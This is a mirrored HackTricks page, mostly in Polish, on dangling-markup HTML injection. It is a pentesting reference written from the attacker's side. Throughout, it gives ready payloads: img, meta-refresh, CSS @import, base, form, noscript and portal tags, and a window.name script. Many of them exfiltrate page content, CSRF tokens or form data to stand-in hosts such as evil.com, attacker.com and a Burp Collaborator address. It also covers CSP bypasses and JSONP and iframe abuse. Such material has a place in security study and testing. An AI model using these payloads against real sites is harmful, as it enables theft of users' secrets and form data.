mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
261 lines
14 KiB
Markdown
261 lines
14 KiB
Markdown
# Dangling Markup - HTML scriptless injection
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Resume
|
|
|
|
Ta technika może być używana do wyciągania informacji od użytkownika, gdy **znaleziono wstrzyknięcie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz żadnego sposobu na wykorzystanie** [**XSS** ](../xss-cross-site-scripting/), ale możesz **wstrzyknąć kilka znaczników HTML**.\
|
|
Jest to również przydatne, jeśli jakiś **sekret jest zapisany w postaci czystego tekstu** w HTML i chcesz go **wyekstrahować** z klienta, lub jeśli chcesz wprowadzić w błąd w wykonaniu jakiegoś skryptu.
|
|
|
|
Kilka technik omówionych tutaj może być użytych do obejścia niektórych [**Content Security Policy**](../content-security-policy-csp-bypass/) poprzez wyekstrahowanie informacji w nieoczekiwany sposób (znaczniki html, CSS, znaczniki http-meta, formularze, base...).
|
|
|
|
## Main Applications
|
|
|
|
### Stealing clear text secrets
|
|
|
|
Jeśli wstrzykniesz `<img src='http://evil.com/log.cgi?` podczas ładowania strony, ofiara wyśle ci cały kod między wstrzykniętym znacznikiem `img` a następnym cudzysłowem w kodzie. Jeśli sekret znajduje się w tym kawałku, ukradniesz go (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).
|
|
|
|
Jeśli znacznik `img` jest zabroniony (na przykład z powodu CSP), możesz również użyć `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
|
```html
|
|
<img src='http://attacker.com/log.php?HTML=
|
|
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
|
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
|
```
|
|
Zauważ, że **Chrome blokuje adresy URL HTTP** zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".
|
|
|
|
Możesz również nadużyć CSS `@import` (wyśle cały kod, aż znajdzie ";")
|
|
```html
|
|
<style>@import//hackvertor.co.uk? <--- Injected
|
|
<b>steal me!</b>;
|
|
```
|
|
Możesz również użyć **`<table`**:
|
|
```html
|
|
<table background='//your-collaborator-id.burpcollaborator.net?'
|
|
```
|
|
Możesz również wstawić tag `<base`. Wszystkie informacje będą wysyłane, dopóki cytat nie zostanie zamknięty, ale wymaga to interakcji ze strony użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmienił domenę wskazywaną przez link):
|
|
```html
|
|
<base target=' <--- Injected
|
|
steal me'<b>test</b>
|
|
```
|
|
### Kradzież formularzy
|
|
```html
|
|
<base href='http://evil.com/'>
|
|
```
|
|
Then, formularze, które wysyłają dane do ścieżki (jak `<form action='update_profile.php'>`), będą wysyłać dane do złośliwej domeny.
|
|
|
|
### Stealing forms 2
|
|
|
|
Ustaw nagłówek formularza: `<form action='http://evil.com/log_steal'>`, to nadpisze następny nagłówek formularza, a wszystkie dane z formularza zostaną wysłane do atakującego.
|
|
|
|
### Stealing forms 3
|
|
|
|
Przycisk może zmienić adres URL, do którego informacje z formularza będą wysyłane, za pomocą atrybutu "formaction":
|
|
```html
|
|
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
|
```
|
|
Napastnik może to wykorzystać do kradzieży informacji.
|
|
|
|
Znajdź [**przykład tego ataku w tym opisie**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
|
|
|
### Kradzież tajemnic w postaci czystego tekstu 2
|
|
|
|
Używając wspomnianej wcześniej techniki do kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), możesz następnie wstrzyknąć nowe pole wejściowe:
|
|
```html
|
|
<input type='hidden' name='review_body' value="
|
|
```
|
|
i to pole wejściowe będzie zawierać całą zawartość między jego podwójnymi cudzysłowami a następnym podwójnym cudzysłowem w HTML. Atak ten łączy "_**Kradzież jawnych sekretów**_" z "_**Kradzieżą formularzy2**_".
|
|
|
|
Możesz zrobić to samo, wstrzykując formularz i tag `<option>`. Wszystkie dane aż do znalezienia zamkniętego `</option>` zostaną wysłane:
|
|
```html
|
|
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
|
```
|
|
### Wstrzykiwanie parametrów formularza
|
|
|
|
Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać nieoczekiwaną akcję:
|
|
```html
|
|
<form action='/change_settings.php'>
|
|
<input type='hidden' name='invite_user'
|
|
value='fredmbogo'> ← Injected lines
|
|
|
|
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
|
|
...
|
|
<input type="text" name="invite_user" value=""> ← Subverted field
|
|
...
|
|
<input type="hidden" name="xsrf_token" value="12345">
|
|
...
|
|
</form>
|
|
```
|
|
### Kradzież tajemnic w czystym tekście za pomocą noscript
|
|
|
|
`<noscript></noscript>` To tag, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
|
|
|
Sposobem na wyeksfiltrowanie zawartości strony internetowej od punktu wstrzyknięcia do dołu na kontrolowaną przez atakującego stronę będzie wstrzyknięcie tego:
|
|
```html
|
|
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
|
```
|
|
### Bypassing CSP with user interaction
|
|
|
|
Z tego [badania portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) możesz się dowiedzieć, że nawet z **najbardziej ograniczonych** środowisk **CSP** można nadal **ekstrahować dane** z pewną **interakcją użytkownika**. W tej okazji użyjemy ładunku:
|
|
```html
|
|
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
|
<base target='
|
|
```
|
|
Zauważ, że poprosisz **ofiarę** o **kliknięcie w link**, który **przekieruje** ją do **ładunku** kontrolowanego przez ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **zawartość HTML** aż do następnego pojedynczego cudzysłowu.\
|
|
To spowoduje, że **wartość** **`window.name`** po kliknięciu w link będzie zawierać całą tę **zawartość HTML**. Dlatego, ponieważ **kontrolujesz stronę**, na którą ofiara przechodzi, klikając link, możesz uzyskać dostęp do **`window.name`** i **ekstrahować** te dane:
|
|
```html
|
|
<script>
|
|
if(window.name) {
|
|
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
|
</script>
|
|
```
|
|
### Misleading script workflow 1 - HTML namespace attack
|
|
|
|
Wstaw nowy tag z id wewnątrz HTML, który nadpisze następny i z wartością, która wpłynie na przebieg skryptu. W tym przykładzie wybierasz, z kim informacja będzie dzielona:
|
|
```html
|
|
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
|
...
|
|
Share this status update with: ← Legitimate optional element of a dialog
|
|
<input id='share_with' value=''>
|
|
|
|
...
|
|
|
|
function submit_status_update() {
|
|
...
|
|
request.share_with = document.getElementById('share_with').value;
|
|
...
|
|
}
|
|
```
|
|
### Mylący przepływ skryptu 2 - Atak na przestrzeń nazw skryptu
|
|
|
|
Utwórz zmienne wewnątrz przestrzeni nazw javascript, wstawiając tagi HTML. Następnie ta zmienna wpłynie na przepływ aplikacji:
|
|
```html
|
|
<img id='is_public'> ← Injected markup
|
|
|
|
...
|
|
|
|
// Legitimate application code follows
|
|
|
|
function retrieve_acls() {
|
|
...
|
|
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
|
|
is_public = true;
|
|
else
|
|
is_public = false;
|
|
}
|
|
|
|
function submit_new_acls() {
|
|
...
|
|
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
|
|
...
|
|
}
|
|
```
|
|
### Nadużycie JSONP
|
|
|
|
Jeśli znajdziesz interfejs JSONP, możesz być w stanie wywołać dowolną funkcję z dowolnymi danymi:
|
|
```html
|
|
<script src='/editor/sharing.js'>: ← Legitimate script
|
|
function set_sharing(public) {
|
|
if (public) request.access_mode = AM_PUBLIC;
|
|
else request.access_mode = AM_PRIVATE;
|
|
...
|
|
}
|
|
|
|
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
|
set_sharing({ ... })
|
|
```
|
|
Lub możesz nawet spróbować wykonać jakiś javascript:
|
|
```html
|
|
<script src='/search?q=a&call=alert(1)'></script>
|
|
```
|
|
### Iframe abuse
|
|
|
|
Dokument podrzędny ma możliwość przeglądania i modyfikowania właściwości `location` swojego rodzica, nawet w sytuacjach między źródłami. Umożliwia to osadzenie skryptu w **iframe**, który może przekierować klienta na dowolną stronę:
|
|
```html
|
|
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
|
```
|
|
To można złagodzić za pomocą czegoś takiego: `sandbox=' allow-scripts allow-top-navigation'`
|
|
|
|
Iframe może być również nadużywany do wycieku wrażliwych informacji z innej strony **używając atrybutu nazwy iframe**. Dzieje się tak, ponieważ można stworzyć iframe, który iframe'uje siebie, nadużywając wstrzykiwania HTML, co sprawia, że **wrażliwe informacje pojawiają się wewnątrz atrybutu nazwy iframe**, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i ją wyciekować.
|
|
```html
|
|
<script>
|
|
function cspBypass(win) {
|
|
win[0].location = 'about:blank';
|
|
setTimeout(()=>alert(win[0].name), 500);
|
|
}
|
|
</script>
|
|
|
|
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
|
```
|
|
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
|
|
|
### \<meta abuse
|
|
|
|
Możesz użyć **`meta http-equiv`**, aby wykonać **kilka działań**, takich jak ustawienie ciasteczka: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub wykonanie przekierowania (w tym przypadku po 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
|
|
|
Można to **uniknąć** za pomocą **CSP** dotyczącego **http-equiv** ( `Content-Security-Policy: default-src 'self';`, lub `Content-Security-Policy: http-equiv 'self';`)
|
|
|
|
### New \<portal HTML tag
|
|
|
|
Możesz znaleźć bardzo **interesujące badania** na temat podatnych na exploity luk w tagu \<portal [tutaj](https://research.securitum.com/security-analysis-of-portal-element/).\
|
|
W momencie pisania tego tekstu musisz włączyć tag portal w Chrome w `chrome://flags/#enable-portals`, inaczej nie będzie działać.
|
|
```html
|
|
<portal src='https://attacker-server?
|
|
```
|
|
### HTML Leaks
|
|
|
|
Nie wszystkie sposoby na wyciek łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
|
|
|
## SS-Leaks
|
|
|
|
To jest **mieszanka** między **dangling markup a XS-Leaks**. Z jednej strony luka pozwala na **wstrzyknięcie HTML** (ale nie JS) na stronę o **tej samej domenie**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na którą możemy wstrzyknąć HTML, ale **inną stronę**.
|
|
|
|
{% content-ref url="ss-leaks.md" %}
|
|
[ss-leaks.md](ss-leaks.md)
|
|
{% endcontent-ref %}
|
|
|
|
## XS-Search/XS-Leaks
|
|
|
|
XS-Search są ukierunkowane na **ekstrakcję informacji z różnych źródeł** poprzez nadużywanie **ataków bocznych**. Dlatego jest to inna technika niż Dangling Markup, jednak niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak [**CSS Injection**](../xs-search/#css-injection) lub [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
|
|
|
|
{% content-ref url="../xs-search/" %}
|
|
[xs-search](../xs-search/)
|
|
{% endcontent-ref %}
|
|
|
|
## Brute-Force Detection List
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
|
|
|
## References
|
|
|
|
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
|
|
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
|
|
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
|
|
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|